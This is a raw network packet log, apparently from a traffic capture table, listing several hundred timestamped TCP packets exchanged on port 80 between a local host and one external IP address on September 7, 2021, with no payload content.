Sep 7, 2021 16:02:37.047570944 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047570944 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047612906 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047657013 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047683954 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047753096 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047836065 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047810078 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047902107 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047914028 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047991037 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048041105 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048084974 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.048132896 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048182011 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048197985 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.048218966 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048254013 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048273087 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.048296928 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048343897 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048408985 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.048437119 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.048613071 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.116204977 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116247892 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116277933 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116301060 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116326094 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116348028 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116373062 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116393089 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.116394997 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116416931 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116441011 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.116585970 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116611004 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116633892 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116656065 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116677046 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116700888 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116723061 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116744041 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116766930 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.116822004 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.116857052 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.117450953 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117475033 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117489100 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117510080 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117532015 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117557049 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117579937 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117578983 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.117600918 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117621899 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117646933 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117655039 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.117671967 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117693901 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117714882 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117737055 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117755890 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.117758036 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117779970 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117800951 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117825985 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117837906 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.117851019 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117872953 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117893934 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117901087 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.117916107 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117938042 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117949009 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.117959976 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.117981911 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118005991 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118015051 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.118029118 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118052006 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118074894 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118087053 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.118096113 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118117094 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118138075 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118159056 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118184090 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118207932 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118228912 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118249893 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118272066 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118294954 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.118618965 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.119329929 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.119676113 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.119998932 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120023966 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120223045 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120248079 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120286942 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120310068 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120331049 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120352030 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120376110 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120398998 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120417118 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120438099 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120459080 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120477915 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120620012 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120644093 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.120667934 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.123337984 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.181128025 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.181153059 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.181169033 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.181188107 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.181205034 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.181221008 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.181230068 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.181247950 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.181265116 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.181358099 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.181473970 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.183078051 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183104038 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183149099 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183166981 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183183908 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183203936 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183222055 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183237076 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183253050 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183268070 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183275938 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.183283091 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183299065 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183315039 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183335066 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183347940 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183363914 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183367014 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.183378935 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183396101 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183410883 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.183414936 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183432102 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183485031 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.183494091 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.183497906 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.183501005 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.183964968 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.183986902 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184004068 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184019089 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184034109 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184048891 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184067011 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184075117 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.184096098 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184113026 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.184113026 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184129000 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184144020 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184159040 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184168100 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.184173107 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.184178114 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184195042 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184201002 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.184211016 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184226036 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184241056 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184254885 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.184262037 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.184325933 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.185873032 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.185962915 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.185981989 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.185997009 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.186074018 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.186101913 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.186121941 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.186136961 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.186152935 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.186153889 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.186167955 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.186204910 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.186275959 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.186330080 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.187215090 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.189927101 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.189961910 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.189991951 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190016031 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190040112 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190053940 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190077066 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190099001 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190103054 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190123081 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190145016 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190145969 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190170050 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190174103 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190196991 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190217972 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190220118 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190244913 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190267086 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190268993 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190290928 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190313101 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190330029 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190335035 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190356970 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190377951 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190398932 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.190392971 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190421104 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.190584898 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.247385025 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.247422934 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.247443914 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.247473955 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.247494936 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.247517109 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.247539043 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.247560024 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.247659922 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.247678041 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.247682095 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248389006 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248418093 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248440981 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248465061 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248486996 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248507023 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248512983 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248538017 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248555899 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248559952 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248562098 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248584032 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248605967 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248622894 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248627901 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248650074 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248672009 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248672009 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248697042 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248720884 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248742104 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248764038 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248785019 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248802900 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248814106 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.248835087 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248868942 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248931885 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.248938084 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.249372959 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249398947 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249425888 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249449015 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249459028 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.249470949 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249526024 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.249628067 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249691963 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.249701023 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249757051 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249804974 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249824047 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.249840975 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249887943 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249890089 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.249922037 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.249963045 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.249968052 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.250000000 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.250070095 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.250071049 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.250108957 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.250134945 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.250152111 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.250166893 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251293898 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251327038 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251351118 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251386881 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.251394987 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251420975 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251441956 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.251451969 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251473904 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.251485109 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251503944 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.251514912 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251785994 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.251840115 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.251841068 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255175114 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255280018 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255320072 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255342007 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255383015 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255389929 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255404949 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255428076 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255450964 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255469084 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255471945 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255484104 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255489111 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255511045 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255518913 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255532980 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255554914 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255573034 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255575895 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255598068 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255601883 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255620003 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255644083 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255645990 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255670071 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255711079 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255734921 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255753040 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255767107 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255773067 CEST	49742	80	192.168.2.4	5.188.88.63
